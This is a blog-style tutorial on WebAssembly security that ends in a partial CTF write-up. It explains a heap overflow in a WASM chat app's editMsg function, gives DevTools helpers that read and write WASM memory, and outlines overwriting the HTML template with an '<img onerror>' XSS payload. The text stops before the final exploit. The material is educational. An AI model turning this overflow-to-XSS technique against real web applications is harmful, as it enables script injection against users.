Pwning WebAssembly: Bypassing XSS Filters in the WASM Sandbox

September 2025


Lately, I’ve been trying to level up my pwn game, so I decided to dive into WebAssembly security. Everyone hypes WASM as safe, sandboxed thing that makes running C/C++ in the browser “secure,” but the more I played with it, the more I realized there’s a lot going on under the hood that most devs don’t even think about. It’s fast, yeah, but that speed comes with complexity: weird memory models, JS glue code, runtimes, and a whole new attack surface. This post is basically me dumping what I’ve been learning so far — how WASM works, what it does well, and where it can be broken.

Quick Note: I’m still learning and exploring WebAssembly security, So this post is a collection of my explorations and notes as I dive into WebAssembly security. If you spot mistakes, missing details, or have suggestions, I’d genuinely love your feedback — feel free to reach out to me via email!

What’s WebAssembly Anyway?


WebAssembly is a low-level bytecode format that runs inside a browser’s sandboxed virtual machine. Instead of hand-writing everything in JavaScript, developers can write performance-critical code in C, C++, or Rust, compile to .wasm, and let the browser execute it at near-native speed.

And it’s not niche — WASM powers massive real-world apps:

  • Canva crunching image filters in the browser.
  • Figma running a full design suite without a desktop client.
  • AutoCAD rendering CAD models online.
  • Unity/Unreal exporting games to the web.
  • TensorFlow.js accelerating machine learning inference.
  • Google Earth for smooth, native-like performance.

So yeah, WASM isn’t some toy tech — it’s quietly powering apps millions of people touch daily. And that makes it interesting for hackers: more power, more complexity, and a much bigger attack surface.

How WebAssembly Works Under the Hood


If you think WASM is just "run code in the browser", you’re missing the fun part. Under the hood, it’s a whole mini-computer running inside your browser. When you write code in C, C++, or Rust and compile it to WASM, you’re essentially turning it into a tiny binary program designed to run safely and fast on any platform. Think of it as a virtual CPU that lives inside your browser tab.

Here’s what actually happens: your high-level code hits a compiler like Emscripten or Rust’s wasm32-unknown-unknown target, and out comes WASM bytecode — a compact, low-level binary format. This bytecode isn’t tied to your machine’s CPU; it’s designed to run inside a sandboxed virtual machine. That’s why WASM is portable — the same .wasm file can run on Chrome, Firefox, or Node.js with almost identical performance.

The V8 engine (used in Chrome and Edge) starts by parsing this binary. Think of it as unpacking a box full of labeled components: functions, variables, memory blocks, and function tables. V8 doesn’t execute anything yet; it’s just organizing the pieces in a way that makes them runnable. Below is the different parts of WebAssembly.

snippet

For more in-depth concepts, read this Documentation. So at this stage, everything is defined but not yet executing. The pieces are ready, waiting for execution to begin.

Tiered Compilation: Liftoff and Turbofan (Let's ignore Maglev for now)

Now the real magic begins. V8 doesn’t just interpret WASM bytecode like an old-school emulator. Interpreting one instruction at a time would be too slow. Instead, V8 compiles WASM into native machine code, instructions that your CPU can run directly. But here’s the tricky part: compilation takes time. The browser wants your module to start executing as soon as possible, but also run fast once it’s executing. To solve this, V8 uses tiered compilation, which balances speed and performance.

  • Liftoff (Baseline Compiler): This is the first stage. Liftoff’s job is simple: take the WASM bytecode and translate it into machine code fast enough to start running immediately. It doesn’t do fancy optimizations; it just ensures the code works. Think of it as a “good enough to run now” compiler. This allows your page or app to begin execution almost instantly, so users don’t notice any delay.
  • Turbofan (Optimizing Compiler): While Liftoff is already running your code, Turbofan is quietly profiling what your program is actually doing. Which functions are called most often? Which loops repeat thousands of times? Turbofan takes this information and recompiles the “hot” functions with optimizations:
    • Reordering instructions for efficiency.
    • Inlining small functions to avoid jumps.
    • Using CPU registers smartly to reduce memory access.
  • After a few iterations, the same function that first ran through Liftoff is now executing at near-native CPU speed, making WASM code feel almost indistinguishable from native applications.

    snippet
    Image from v8.dev's blog post.

    If you want to dive deeper into the WebAssembly compilation pipeline, I highly recommend reading the following V8 blog posts.

Memory Model: The Heart of the Sandbox

One of the most important concepts to understand in WebAssembly security is its memory model. Unlike higher-level languages that abstract away memory management, or native applications that work directly with system memory, WASM takes a very particular approach: it gives each module a single, flat, contiguous block of memory called linear memory.

This design choice makes WASM both efficient and relatively safe — but it also defines the limits and behaviors that an attacker must consider. Let’s walk through how this “sandboxed memory apartment” is structured.

Linear Memory: The WASM Sandbox

At its core, linear memory is just a giant array of bytes. Imagine you started your program with:

char memory[65536]; // 64 KB

That’s essentially what WASM gives you at the start — one continuous region of memory that your module can read from and write to. When you compile C, C++, or Rust code to WASM, all variables, arrays, and data structures are mapped into this space.

  • Unlike JavaScript, which dynamically allocates and garbage-collects memory behind the scenes, WASM does not automatically manage multiple heaps for you.
  • Unlike native code, which can spread data across multiple segments (heap, stack, code, globals) in process memory, WASM consolidates all user data into this single linear memory.
  • Every function in the module shares it. Functions don’t each get private stacks or local heaps carved out separately from the linear space. They all point into the same memory pool. This makes data sharing between functions much faster, but it also means mistakes have broader consequences.
Apartment Analogy

Think of linear memory as a private apartment for your WASM module inside the browser:

  • When your program loads, the browser sets aside an apartment (say, 64 KB of initial memory).
  • Inside, you can arrange your “furniture”: arrays, strings, structs, and counters.
  • Every function is like a roommate — they can all move things around inside the apartment, but they can’t knock down walls and mess with others outside (like the browser or system memory).

This is the sandbox guarantee: your module is isolated from the world outside. No matter what bugs exist in your code, they can’t overwrite Browser's process memory Or the renderer's memory.

At least, that’s what they claim. They say WASM is safe, but sandbox escapes to renderer process keep proving otherwise.

Bugs Still Matter (Inside the Sandbox)

However, mistakes inside the apartment can still cause chaos. Consider this example in C:

int arr[10];
arr[11] = 42; // out-of-bounds write

On a native system, this could overwrite a saved return address, change control flow, corrupt unrelated process memory, or crash the entire application. On WASM, arr can’t reach outside the sandbox. But it can corrupt another piece of data within the module’s own linear memory. Maybe it overrides a cryptographic key, an index into a function table, or user input buffers. That’s still dangerous — just not system-level catastrophic.

Memory Growth and Limits

Linear memory isn’t infinite; it’s divided into fixed-size pages of 64 KB each. When a WASM module starts, it requests an initial number of pages (say, 1 page = 64 KB). As the program runs, it can explicitly request more pages if needed — for example, a game suddenly loading a massive map, or an editor opening a large file. But the browser enforces an upper ceiling, so runaway programs can’t consume infinite memory. This paged growth mechanism keeps memory predictable and adds another safety layer.

It is also important to understand that WASM memory isn’t one big undifferentiated blob. Internally, the virtual machine separates things into different types of pages. Two primary regions are:

  • Code Region
  • Data Region
Code Region

Code — your actual executable instructions — does not live inside linear memory. Instead, compiled functions are placed in separate, read-only code pages. This design prevents accidental or malicious attempts to overwrite instructions in memory. In traditional native programs, code and data sometimes lived in the same region (writable/executable memory), which is how classic code injection attacks worked. WASM blocks this by enforcing separation.

Example:

int add_numbers(int a, int b) {
    return a + b;
}

The machine instructions for add_numbers live in a code page. The integers a and b live in linear memory (data pages). While the CPU executes the function, it fetches instructions from the code page and operates on values inside linear memory. The key is that those two memory regions cannot overlap. You can’t store instructions in linear memory and then trick the engine into executing them.

Linear Memory Pages (Data Region)

The actual working storage of your program — arrays, structs, buffers, strings, global variables — all live in linear memory data pages. Every function shares this memory pool, which is both a performance advantage (fast data exchange) and a risk factor (bugs in one function spill into others).

    Example:

  • In an image editor compiled to WASM, the raw pixel data from a photo lives in linear memory pages.
  • Filter functions write their results back to buffers in the same space.
  • Temporary states, like undo history or intermediate filter layers, also occupy linear memory.


One buffer overflow in a function applying a Gaussian blur could corrupt unrelated data like the undo stack — creating bugs or exploitable behavior.

Stack and Globals (Data Regions)

The stack for local function variables and the global section (counters, constants shared across functions) also reside inside linear memory. Functions don’t get a private CPU-backed call stack like they would with native execution. Instead, local variables are mapped into memory offsets within linear memory. Globals are similarly layered into reserved regions for predictable access.

This unified layout creates a predictable memory model. Predictability matters: it makes execution efficient, but also makes it interesting for attackers, since knowing where everything lives opens possibilities for memory corruption attacks — albeit bounded by the sandbox.

The JS Glue: WASM’s Gateway to the Outside World

snippet

Up until now, we described WASM’s apartment-like memory model: it has its own private linear memory, code pages, stack, and globals. But here’s the catch — WASM can’t talk to the outside world directly.

  • No direct access to the DOM.
  • No system calls to open files.
  • No direct networking sockets, timers, or graphics APIs.

Without external bridges, a WASM module is essentially a sealed, high-performance calculator. That’s where JavaScript glue code comes in.

What Glue Code Does

Think of glue code as the “phone line” between the WASM module and the outside browser environment:

  • Memory Buffers: JavaScript allocates ArrayBuffer or TypedArray views into WASM’s linear memory. That’s how JS can read/write raw memory from the WASM sandbox. For example, letting JavaScript inspect the result of an image filter implemented in WASM.
  • Imports: WASM modules can import functions from JS. Example: A WASM program might import console.log or Math.random provided by JS.
  • Exports: WASM can export functions that JavaScript calls, with arguments often pointing to offsets inside linear memory. Example: JS calls wasm.instance.exports.process(userInputPtr) where process expects to read a string starting at memory offset userInputPtr.

Large frameworks like Emscripten or Unity WebGL often ship auto-generated glue JavaScript. This code handles initializing WASM memory, setting up function tables, wiring DOM events, and converting between JS types and WASM binaries, effectively acting as the orchestration layer that makes complex applications work seamlessly in the browser.

Example of JS Glue in Action

Suppose we compile this C function to WASM:

int add(int a, int b) {
    return a + b;
}

The WASM binary just has the machine-level instructions for add. It doesn’t know how to run in the browser. So JavaScript glue wraps it:

const wasmModule = await WebAssembly.instantiateStreaming(fetch("add.wasm"));
console.log(wasmModule.instance.exports.add(5, 3)); // prints 8

Here, JavaScript fetches and instantiates the .wasm file, taking care of setting up the memory and execution environment. Once initialized, the functions exported by the WASM module can be called just like any other JavaScript function. Of course, the memory boundary still exists — while simple integers are passed directly, more complex data like strings require JavaScript to read from WASM’s linear memory at the correct offsets.

Why Traditional C/C++ Exploits Don’t Work in WASM


If you come from a classic binary-exploitation background, you probably think in terms of buffer overflows, return-oriented programming (ROP), and arbitrary pointer manipulation. WebAssembly changes the rules. Even when the code started life as C or C++, the execution model inside the browser is radically different, and a lot of the old tricks simply stop working — or become much harder to pull off.

First, WASM does not expose raw system pointers. In a native C/C++ program you can often tamper with pointers to overwrite return addresses on the stack, chain gadgets for a ROP payload, or otherwise hijack control flow. In WASM, all of the program’s memory lives inside a single linear memory region — a sandboxed byte array. That sandbox prevents code from referencing or writing into arbitrary process memory, so you can’t simply point outside the module and corrupt the process or the OS.

Second, function calls are handled through indices and tables rather than raw addresses. Each function in a WASM module gets an index in an internal function table. Calls are either direct (the index is fixed at compile time) or indirect (the index is looked up in a table at runtime). Because control transfers are mediated by the engine and checked for type/ bounds, there are no writable return addresses lying around that you can clobber to build a ROP chain.

TL;DR: Classic memory exploits like overflowing a return address don’t work in WASM. Attackers focus on logic bugs in linear memory, unsafe function table use, or insecure JS↔WASM interactions to cause leaks or escalate behavior—exploitable, but with a different mindset and techniques.

The Real Attack Surface in WASM

Linear Memory Corruption

Even though WASM is sandboxed, linear memory is still vulnerable to bugs from unsafe languages like C or C++. Classic memory issues include buffer overflows, use-after-free, and integer overflows. These flaws don’t let you execute code outside the sandbox but can corrupt data inside the module, altering its behavior.

char buf[10];
void unsafe(char *input) {
    for(int i=0; i<strlen(input); i++) {
        buf[i] = input[i]; // buffer overflow if input > 10
    }
}

In WASM, this overflow won’t overwrite CPU stack or code pages, but it can overwrite other variables in linear memory, leading to unexpected behavior.

Function Table Abuse (Indirect Calls)

WASM uses function tables for indirect calls. If indices are not validated, attackers might call unintended functions or manipulate logic through invalid calls. WASM enforces type safety, but logic bugs are still possible.

Action actions[2] = {add, sub};
int do_action(int index, int a, int b) {
    return actions[index](a, b); // unsafe if index unchecked
}
JS Glue and Host Environment Interaction

WASM relies on JavaScript for DOM, networking, and system calls, which creates another attack surface. Unsafe exports/imports, type mismatches, or memory leaks can expose sensitive data or corrupt memory.

const wasm = await WebAssembly.instantiateStreaming(fetch("module.wasm"), {
    env: { log: console.log }
});
// JS passes user input to WASM
wasm.instance.exports.process(userInput);
Dynamic Module Loading

WASM supports dynamic loading, where one module can call another. Without validating function indices, table sizes, and memory bounds, attackers may exploit imported modules or corrupt memory across boundaries.

Rust and WASM: Memory Safety, But Not a Free Pass

One of the biggest draws of WebAssembly is that you can compile high-performance languages like C, C++, and Rust to run in the browser. With C/C++, the security story is complicated: classic memory issues like buffer overflows, use-after-free, or integer overflows can still occur inside linear memory, even though the module is sandboxed. These are the kinds of bugs traditional binary exploitation loves.

Rust, on the other hand, changes the rules fundamentally. Rust’s compiler enforces strict memory safety at compile time.

Even though Rust prevents memory corruption, WASM security issues still exist, because not all vulnerabilities are about memory:

  • Logic Bugs Inside Linear Memory: Rust prevents overflows, but if your program miscalculates an index or ignores panics, attackers can still manipulate behavior.
  • Function Table / Indirect Call Abuse: Rust won’t stop attackers from misusing exposed indirect calls if indices aren’t validated.
  • JS Glue / Host Environment Exploits: Malicious JavaScript inputs or glue code errors can still trigger bugs inside WASM.
  • Side-channel Attacks: Rust ensures memory safety, but timing attacks, cache attacks, and other side-channels are still possible, especially in cryptographic modules.

In other words, Rust eliminates low-level memory exploits, but high-level logic and interaction bugs remain. Security in WASM shifts from “corrupt memory and hijack execution” to “manipulate module behavior through inputs and exposed interfaces.”

CTF Web Application - Breaking XSS!

To wrap up this deep dive into WebAssembly security, let’s look at a vulnerable web application challenge from Pentathon CTF 2025, called "chaat". This challenge demonstrates how a seemingly safe WASM app can still be exploited due to logic flaws and insecure data handling to drop a XSS payload. You can download the vulnerable application files here and try it out yourself.

The CTF challenge is built like a typical single-page web app running a WASM module compiled from C. The application takes user input, processes it using WebAssembly logic, and renders output dynamically in the DOM.

First, let’s see what we’re dealing with. The project is a simple Node.js app with a WASM backend powering its chat functionality:

  • app.js – Entry point for the Node app, exposing two endpoints (/ and /bot) on port 3000.
  • bot.js – Likely where the “magic” happens (CTF flag logic lives here).
  • module.c – The C source for the WebAssembly module, compiled into a .wasm binary in static/.
  • Frontend Files (static/) – Contains index.html, main.js, script.js, module.js (Emscripten glue), and the compiled .wasm.

So yeah, this is a Node app serving a WASM-powered chat interface.

First Look: Running the App

Spinning it up locally, you get a pretty clean chat app UI. There’s a text box, a “send” button, and a stream of random bot replies that make it feel like a lightweight messaging app. It’s simple, but something feels off — those bot replies are either being generated client-side or the backend is feeding them. Either way, the frontend JavaScript is clearly doing a lot of heavy lifting. snippet

Frontend Overview

Looking at index.html is minimal, A simple nav bar, and a container for chat messages. The heavy lifting isn’t in HTML; it’s all JavaScript-driven!

  • script.js is just DOM control glue — nothing serious there.
  • module.js is classic Emscripten-generated glue code. This is where the WASM module gets initialized and exposed to JavaScript. This is the so-called “JavaScript Glue Code” we discussed earlier.
  • main.js is where all the real logic lives, and this is where things get interesting.
Main.js: WASM ↔ JavaScript

Here’s where the app really starts showing its architecture. The WASM module is dynamically loaded and its functions are exposed into JavaScript through Module.cwrap:

snippet

So this tells us:

  • There’s a WASM function for everything: adding, deleting, editing messages, and rendering the chat UI (populateMsgHTML).
  • Two JavaScript callbacks are registered (populateMsgs and deletemsg) so the WASM module can call back into JavaScript.
  • Module.cwrap is key: it bridges C/WASM functions into JavaScript, handling argument and return type conversions for you.
  • This pattern is Emscripten glue: the WASM module owns the chat data model, while JavaScript is primarily a rendering and control layer.
Chat Logic: State Management

The messages aren’t just stored in memory; they’re serialized into the URL through the squery parameter

ReportUrl.href = `${window.location.origin}?s=${btoa(JSON.stringify(saved))}`;
//Found this snippet in main.js

Every message or action (add, edit, delete) gets pushed into a saved array, Base64-encoded, and stuck into the URL. When you reload the page, main() reads that query string, decodes it, and rebuilds the entire chat state.

snippet

So, the entire chat history is user-controlled. You can literally forge a URL with fake chat messages, reload the page, and it’ll render as if they were real.

Understanding the WASM Module: module.wasm

The module.c file is the heart of this app. It compiles to WebAssembly and holds all the chat state and message logic. To understand the functions, we need to start with the data structures it defines:

Core Data Structures
snippet
  • msg — Represents a single chat message:
    • msg_data: Pointer to dynamically allocated memory holding the actual text.
    • msg_data_len: The length of the message (after sanitization).
    • msg_time: A timestamp (Unix epoch) indicating when it was created.
    • msg_status: Status flags (e.g., edited or not).
  • stuff — This is the chat application state, essentially a dynamic array of msg structs:
    • mess: Pointer to a heap-allocated array of messages.
    • size: Number of messages currently stored.
    • capacity: Maximum number of messages allocated (grows dynamically).
  • All chat data is centralized in a single global variable s.
Memory Initialization: initialize()
snippet

This function allocates space for 10 messages initially and sets up memory in WASM’s linear heap. It ensures all message storage is dynamically allocated inside WASM.

Sanitization: sanitize()
snippet

Before storing messages, sanitize() replaces HTML characters with safe entities. This makes bypassing XSS tricky, as sanitization happens at the WASM layer before rendering.

Adding Messages: addMsg()
snippet
  • Rejects messages longer than 100 bytes.
  • Sanitizes input content and clears the original buffer for safety.
  • Stores sanitized text, timestamp, and status in a msg struct.
  • Dynamically expands the array if needed (capacity doubles like std::vector).
Editing Messages: editMsg()
snippet
  • Bounds-checks the index and sanitizes new content.
  • Copies sanitized data in place, updates timestamp, and marks the message as edited.
  • Does not reallocate if new content is longer, which can create a memory corruption vector.
Deleting Messages: deleteMsg()
snippet
  • Frees the message’s buffer and shifts later messages down.
  • Keeps the array compact, which means message IDs change after deletion.
  • Calls back into JavaScript to update the UI dynamically.
Rendering Messages: populateMsgHTML()
  • Wraps each sanitized message in HTML (<article><p> tags). snippet
  • Uses a JavaScript callback to inject these messages into the DOM.
  • This is the final layer of XSS protection before rendering content to the user.
Breaking Down Main.js

The rest of main.js focuses on state handling and DOM updates. Here's what it does:

  • Defines helper functions like messagesToHTML() to turn message objects into HTML blocks for rendering.
  • Uses rendermsgs() to refresh the chat UI.
  • Sets up event bindings for editing or deleting messages with SweetAlert modals.
  • Initializes everything in the main() function, which:
    • Reads the s query parameter from the URL.
    • Decodes and applies actions (add, edit, delete) by calling corresponding WASM functions.
    • Re-renders the chat UI after updates.
  • Updates the URL dynamically (report-url) so users can copy a link containing their chat history.
  • Acts as a controller layer: serializing/deserializing state, connecting DOM events to WASM exports, and syncing chat data between memory and the UI.
Diving Into the Vulnerability

Okay, that’s enough intro to the challenge—let’s jump straight into the vulnerability. Any pwner would notice this quickly, but exploiting it is a bit tricky if you’re not used to debugging WASM internals (I struggled with that myself).

The bug is a heap overflow in the editMsg function. While addMsg validates the length of input before allocating memory and storing it, editMsg skips any checks. It directly calls memcpy to copy user input into the existing message buffer, which means we can write past the allocated chunk.

Let’s see this in action:

  1. Create two messages:
    Two messages screenshot
  2. Edit the first message with a larger payload. The second message gets overwritten:
    Overflowed message screenshot

The vulnerability is confirmed. But exploiting this isn’t like traditional heap exploits on ELF binaries—there’s no metadata corruption or tcache tricks. In WebAssembly, memory is just a flat, contiguous linear memory block. That changes how we approach the bug. We’ll need to understand exactly how data is laid out in WASM’s linear memory before planning an exploit.

Debugging

Now that we’ve spotted the vulnerability, it’s time to dig deeper into how the WASM module behaves at runtime. For this, we’ll rely entirely on Chrome DevTools. DevTools is powerful enough to step through JavaScript, pause inside WASM instructions, inspect the stack, and directly read/write WASM memory.

Let’s walk through it step by step.

  • Open your vulnerable web application in Google Chrome.
  • Hit F12 or right-click → Inspect to open Chrome DevTools.
  • Rearrange the panels for convenience:
    • Keep the Console docked at the bottom.
    • The Sources panel should be on top (this is where we’ll set breakpoints).
  • Your setup should look like this:
    Chrome DevTools Layout Screenshot
Breakpoint at the First Call to "addMsg"

We’ll start by intercepting the first call to the WASM addMsg function when a new message is submitted:

  • Go to the Sources tab.
  • Open main.js.
  • Scroll to line 106 — this is where addMsg defined in the wasm module is called.
  • Set a breakpoint here by clicking the line number.
  • Now type a message in the app’s chat box and click submit.
  • Execution will pause at your breakpoint:
    Breakpoint at main.js line 106
Stepping into the WASM Glue Code
  • Click Step Into (the down-arrow icon in DevTools, near the top right of the Sources panel).
  • You’ll see execution jump from main.js into module.js — this is the glue code connecting JavaScript to WASM.
  • The glue code sets up arguments, memory offsets, and finally calls the actual WASM function.
  • Scroll to line 609 in module.js. This is where addMsg is actually invoked. Set a breakpoint here so you can jump directly to this line in the future.
  • At this point, you’re inside the glue code, right before the call enters WASM land.
Inspecting Function Arguments

On the right-hand panel in DevTools (the Scope tab), you can now see:

  • The function being called (addMsg).
  • Its arguments and their values.
  • The first argument is a pointer into WASM’s linear memory, not the actual string. This is how WASM functions exchange data — they pass around pointers (numeric memory offsets) rather than objects or strings.
  • Other arguments are simple integers.
  • Inspecting WASM arguments in DevTools
Understanding HEAPU8

WASM modules store all data in a flat byte array called linear memory. In Emscripten-generated modules (like this one), that memory is exposed as a JavaScript Uint8Array called HEAPU8.

HEAPU8 lets you read and write bytes directly in WASM memory:

  • HEAPU8[pointer] returns the byte at the specified memory address.
  • You can interact with it just like a normal JavaScript array.

To make debugging easier, we’ll define some helper functions to:

  • Write bytes into WASM memory
  • Read raw bytes from a pointer
  • Read bytes as printable characters
  • Search for strings in WASM memory
Helper Functions for WASM Memory Debugging

Paste these helper functions into the Console in DevTools:

function writeBytes(ptr, byteArray) {
  if (!Array.isArray(byteArray)) {
    throw new Error("byteArray must be an array of numbers");
  }

  for (let i = 0; i < byteArray.length; i++) {
     byte = byteArray[i];
    if (typeof byte !== "number" || byte < 0 || byte > 255) {
      throw new Error(`Invalid byte at index ${i}: ${byte}`);
    }
    HEAPU8[ptr + i] = byte;
  }
}

function readBytes(ptr, length) {
  const bytes = HEAPU8.subarray(ptr, ptr + length); 
  return Array.from(bytes); // returns raw byte array
}
function readBytesAsChars(ptr, length) {
  const bytes = HEAPU8.subarray(ptr, ptr + length);
  
  return Array.from(bytes).map(b => {
    if (b >= 32 && b <= 126) {
      return String.fromCharCode(b);
    } else {
      return '.'; // Non-printable bytes shown as "."
    }
  }).join('');
}



function searchWasmMemory(searchStr) {
   mem = Module.HEAPU8;                // WASM memory as Uint8Array
   searchBytes = new TextEncoder().encode(searchStr);
  
  for (let i = 0; i < mem.length - searchBytes.length; i++) {
    let found = true;
    for (let j = 0; j < searchBytes.length; j++) {
      if (mem[i + j] !== searchBytes[j]) {
        found = false;
        break;
      }
    }
    if (found) {
      console.log(`Found "${searchStr}" at memory address:`, i);
      //return i; // return the index/address
    }
  }
  console.log(`"${searchStr}" not found in memory`);
  return -1;
}
//Used to convert a list of bytes into a single integer pointer value.
a = bytes => bytes.reduce((acc, byte, i) => acc + (byte << (8 * i)), 0);

After pasting these, your DevTools console should look like this:

Helper functions loaded in DevTools console
Reading Message Data from a Pointer

Now that we have our helper functions, let’s use them to inspect the message we typed:

  • Grab the pointer value of the message argument from the Scope tab in DevTools.
  • In the console, run:
    readBytesAsChars(POINTER_HERE, LENGTH_HERE)
    Replace POINTER_HERE with the pointer address, and LENGTH_HERE with the number of bytes you expect (start small, like 20).

You’ll see the exact message you typed appear in DevTools!

Screenshot showing message characters in DevTools

Cool, right? Now let’s take this one step further. We’re finally stepping into the WebAssembly module itself. At this point, DevTools shows nothing but raw WebAssembly instructions — we’re no longer in JavaScript land, but inside the compiled addMsg function of the WASM module. Before going deeper, let’s pause and get comfortable with what we’re looking at.

WASM Instructions: A Stack-Based Virtual Machine

WebAssembly doesn’t use CPU registers like x86 or ARM; instead, it’s a stack-based virtual machine. Every calculation is done by pushing values onto a stack and popping them when needed. Instructions don’t name registers — they just consume whatever is on top of the stack.

Here’s a simple example:


i32.const 5      ;; push 5 onto the stack
i32.const 3      ;; push 3
i32.add          ;; pop top two numbers (5 and 3), add them, push result (8)

At the end, the stack has a single value: 8. No registers, no addressing modes, just stack operations.

Function Calls: Indexed, Not Pointer-Based

When a function is called in WASM, there’s no concept of function pointers like in native C/C++. Each function is assigned a fixed index at compile time, and function calls are simply by index:

call $func15 ;; calls the function at index 15
  • It’s impossible to just “jump” to arbitrary memory like in a native binary.
  • Even indirect calls (function-pointer-like behavior) are strictly controlled through a function table.
  • This makes traditional exploitation techniques like ROP (Return-Oriented Programming) much harder in WASM.
Variables in WASM

WASM has three main categories of variables you’ll see while debugging:

  • Stack Variables
    • Temporary values pushed and popped as instructions execute.
    • Every operation works directly on this stack.
    • Example: i32.const 42 pushes 42 onto the stack.
  • Local Variables (local)
    • Variables local to a function (like C function variables).
    • Stored in a small local array and accessed with get_local or set_local.
    • Example:
      local.get 0 ;; push the value of local variable #0 onto the stack
      local.set 1 ;; pop a value and store it in local variable #1
  • Global Variables (global)
    • Shared across functions in the module.
    • Accessed with global.get and global.set.
    • Example:
      global.get 0 ;; push the value of global #0
      global.set 1 ;; set global #1 to top of stack
                      

You can totally mess around with the WASM module at this point. Just keep stepping through instructions, drop breakpoints on the next function calls inside the current one, and cross-reference what’s running with the actual C source to see exactly where you are. Keep an eye on the stack — watch values getting pushed and popped — and check out the arguments and variables sitting in memory. It’s all right there if you take the time to dig.

Quick Tip: If stepping through WASM instructions in DevTools feels overwhelming, check out this intro video:
Debugging WebAssembly in Chrome DevTools — it’s a great walkthrough of setting breakpoints, inspecting the stack, and correlating instructions with your C/C++ source.

Alright, back to business. Now that we’re comfortable stepping through WASM, let’s move deeper into addMsg() and grab the actual pointers that matter.

Inside addMsg() there’s a call to add_msg_to_stuff(). This is a crucial spot because the arguments passed here include:

  • The s struct pointer – holds the metadata for our message.
  • The new_msg pointer – the actual message data we just submitted.

Let’s set a breakpoint right before this function call:

Screenshot showing message characters in DevTools

Once we’ve paused there, let’s inspect the s pointer. Using our readBytes() helper, we can see the memory content for s:

Screenshot showing message characters in DevTools

Those highlighted bytes represent the pointer to s->mess — the start of the message struct where all metadata will be stored. Let’s use Step Over in DevTools so add_msg_to_stuff() executes and populates everything for us.

After stepping over, we can inspect s->mess:

Screenshot showing message characters in DevTools

Now it’s all coming together. Here’s the relevant C struct:

typedef struct msg {
            char *msg_data;       // Pointer to the actual message text
            size_t msg_data_len;  // Length of the message
            int msg_time;         // Timestamp
            int msg_status;       // Message status (maybe "sent" or "delivered")
        } msg;

The highlighted bytes here represent msg->msg_data — the pointer to the actual chat text we typed. Let’s follow that pointer and dump its contents:

Screenshot showing message characters in DevTools

Next, let’s send a second message. Pause again at add_msg_to_stuff(), step over, and inspect s->mess for this second message:

Screenshot showing message characters in DevTools

Using our helper functions (readBytes, readBytesAsChars), we confirm this second pointer points to the new message’s content. If we compare both addresses, the distance is clear:

Screenshot showing message characters in DevTools

Now, let’s edit the first message with a longer string to overflow into the second message:

After the edit completes, pause again and inspect memory:

Screenshot showing message characters in DevTools
Result of Overflow
  • The pointer to the first message’s data is unchanged.
  • The second message’s data is overwritten by the overflow.

This confirms the vulnerability — we can control adjacent message content by overflowing the first one.

Read/Write Primitive

At this point, all we’ve done is overflow into an adjacent message struct. Cool visualization, but that alone doesn’t give us control over anything powerful. If we’re going to weaponize this bug, we need a way to overwrite a meaningful pointer — something that lets us read or write anywhere in WASM’s linear memory. So, let’s look deeper into this snippet from the WASM module:

int add_msg_to_stuff(stuff *s, msg new_msg) {
        if (s->size >= s->capacity) {
            s->capacity *= 2;
            s->mess = (msg *)realloc(s->mess, s->capacity * sizeof(msg));
            if (s->mess == NULL) {
                exit(1);
            }
        }
        s->mess[s->size++] = new_msg;
        return s->size-1;
        }

Key insights:

  • The stuff struct (our top-level container for all messages) holds a pointer s->mess, which points to an array of msg structs.
  • When we first start sending messages, the program allocates a chunk of memory for this array, sized based on the initial capacity.
  • Every time we send a new message, a msg struct is added to s->mess.
  • When the number of messages exceeds capacity (e.g., after ~10 messages), the program doubles the capacity and calls realloc() to resize s->mess.
  • This causes s->mess to move to a new memory location, and all the old msg structs are copied there.

Because WASM linear memory is sequential — allocations are placed one after another. After enough allocations, there’s a strong chance that this newly reallocated s->mess array lands right after the latest message’s data buffer.

This layout is gold: if the relocated s->mess array is sitting next to user-controlled data, we can overflow from a message buffer and overwrite pointers inside the s->mess array itself. Since s->mess contains the pointers to every message’s data, corrupting it effectively gives us arbitrary read/write in WASM memory.

Testing the Hypothesis

Let’s test this theory step by step.

  • First, send 11 messages (one more than the likely starting capacity of 10). For the 11th message, set a breakpoint inside the addMsg() WASM function, right before add_msg_to_stuff() executes.
  • Now, grab two things:
    • The current pointer value of s->mess (before reallocation).
    • The msg_data pointer for this 11th message (so we know where its buffer lives).
Screenshot showing message characters in DevTools

Now, step over the add_msg_to_stuff() call and check again:

Screenshot showing message characters in DevTools

The s->mess pointer has changed, confirming that realloc() moved the array to a new spot in WASM memory.

To verify, let’s dump the entire s->mess array after reallocation. Sure enough, it contains all 11 message structs with their respective pointers intact, just copied to the new location.

Screenshot showing message characters in DevTools

Now, let’s focus on the relationship between the last message’s buffer and the relocated s->mess:

Using our helper function, dump around 100 bytes starting from the 11th message’s msg_data pointer:

Screenshot showing message characters in DevTools

And there it is — right after a small gap, we see the relocated s->mess array sitting in memory. This proves our theory:

  • A long message buffer (user-controlled)
  • Followed directly in memory by s->mess (which holds all message pointers)

Boom, this is the primitive we need.

Exploitation

Now that we have arbitrary read/write in WASM’s linear memory, the big question is: What do we overwrite to bypass the XSS filters and drop our payload?

The obvious first thought might be: Why not overwrite the filter logic itself?

That would be nice, but it’s not possible here — the filtering happens before our message ever makes it into WASM memory. By the time it’s stored, the input has already been sanitized. So that path is blocked.

Instead, let’s focus on where the sanitized message is inserted into the DOM.

The HTML Stub

The application renders each message using a hardcoded HTML template in memory:

<article><p>%.*s</p></article>

This is the HTML stub string baked into the WASM module. The %.*s is a placeholder replaced with our sanitized message content.

What if we overwrite this stub to something malicious? Specifically, we’ll modify it so that instead of inserting our sanitized text inside a <p> tag, it injects our content inside an <img> tag’s onerror attribute — a classic XSS vector.

<img src=1      onerror=%.*s>

Key details:

  • We’re not adding new < or > brackets directly — those characters are filtered.
  • We’re reusing the existing < and > from the original stub.
  • The payload has extra spaces to ensure perfect alignment with the original tag boundaries in memory.

By doing this, any “message” we send will effectively become JavaScript code executed via the onerror attribute, completely bypassing the filters.

Finding the Stub’s Address

To overwrite this string, we first need its address in WASM linear memory. WASM modules don’t use PIE (Position Independent Executables) or ASLR (Address Space Layout Randomization). Memory is laid out deterministically at compile time.

Using our searchWasmMemory() helper, we search for the exact string:

searchWasmMemory('<article><p>%.*s</p></article>)
VM1601:49 Found "

%.*s

" at memory address: 65581

Since this offset is constant across every execution, we can reliably overwrite it in the exploit.

Crafting the Exploit Payload

Here’s the plan:

  • Overflow from the 11th message (triggering realloc) to overwrite the first message’s pointer with the address of this HTML stub +1 (to align perfectly with the start of the < tag).
  • Overwrite the stub itself with our malicious <img> payload.
  • Send a new “message” containing JavaScript code like alert(1337) — which gets inserted directly into the onerror attribute and executes immediately.

Why +1?
